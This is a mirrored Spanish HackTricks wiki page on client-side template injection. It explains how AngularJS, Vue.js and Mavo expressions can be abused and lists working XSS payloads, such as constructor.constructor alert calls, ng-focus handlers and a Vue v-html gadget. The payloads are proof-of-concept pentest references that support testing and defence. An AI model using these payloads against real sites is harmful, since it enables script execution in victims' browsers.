mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
90 lines
5.2 KiB
Markdown
90 lines
5.2 KiB
Markdown
# Inyección de Plantillas del Lado del Cliente (CSTI)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
|
|
|
|
{% embed url="https://academy.8ksec.io/" %}
|
|
|
|
## Resumen
|
|
|
|
Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript arbitrario** en el navegador de la víctima.
|
|
|
|
**Probar** esta vulnerabilidad es muy **similar** al caso de **SSTI**, el intérprete espera **una plantilla** y la ejecutará. Por ejemplo, con una carga útil como `{{ 7-7 }}`, si la aplicación es **vulnerable** verás un `0`, y si no, verás el original: `{{ 7-7 }}`
|
|
|
|
## AngularJS
|
|
|
|
AngularJS es un marco de JavaScript ampliamente utilizado que interactúa con HTML a través de atributos conocidos como directivas, siendo una notable **`ng-app`**. Esta directiva permite que AngularJS procese el contenido HTML, habilitando la ejecución de expresiones JavaScript dentro de llaves dobles.
|
|
|
|
En escenarios donde la entrada del usuario se inserta dinámicamente en el cuerpo HTML etiquetado con `ng-app`, es posible ejecutar código JavaScript arbitrario. Esto se puede lograr aprovechando la sintaxis de AngularJS dentro de la entrada. A continuación se presentan ejemplos que demuestran cómo se puede ejecutar código JavaScript:
|
|
```javascript
|
|
{{$on.constructor('alert(1)')()}}
|
|
{{constructor.constructor('alert(1)')()}}
|
|
<input ng-focus=$event.view.alert('XSS')>
|
|
|
|
<!-- Google Research - AngularJS -->
|
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
|
```
|
|
Puedes encontrar un **ejemplo básico en línea** de la vulnerabilidad en **AngularJS** en [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) y en [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
|
|
|
> [!CAUTION]
|
|
> [**Angular 1.6 eliminó el sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) así que a partir de esta versión, una carga útil como `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` debería funcionar.
|
|
|
|
## VueJS
|
|
|
|
Puedes encontrar una **implementación vulnerable de Vue** en [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
|
Carga útil funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
|
|
|
|
Y el **código fuente** del ejemplo vulnerable aquí: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
|
```markup
|
|
<!-- Google Research - Vue.js-->
|
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
|
```
|
|
Un muy buen artículo sobre CSTI en VUE se puede encontrar en [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V3**
|
|
```
|
|
{{_openBlock.constructor('alert(1)')()}}
|
|
```
|
|
Créditos: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
|
|
|
### **V2**
|
|
```
|
|
{{constructor.constructor('alert(1)')()}}
|
|
```
|
|
Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
|
|
|
|
**Consulta más cargas útiles de VUE en** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
|
|
|
## Mavo
|
|
|
|
Carga útil:
|
|
```
|
|
[7*7]
|
|
[(1,alert)(1)]
|
|
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
|
|
[self.alert(1)]
|
|
javascript:alert(1)%252f%252f..%252fcss-images
|
|
[Omglol mod 1 mod self.alert (1) andlol]
|
|
[''=''or self.alert(lol)]
|
|
<a data-mv-if='1 or self.alert(1)'>test</a>
|
|
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
|
|
<a href=[javascript&':alert(1)']>test</a>
|
|
[self.alert(1)mod1]
|
|
```
|
|
**Más cargas útiles en** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
|
|
|
## **Lista de Detección de Fuerza Bruta**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
|
|
|
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
|
|
|
|
{% embed url="https://academy.8ksec.io/" %}
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|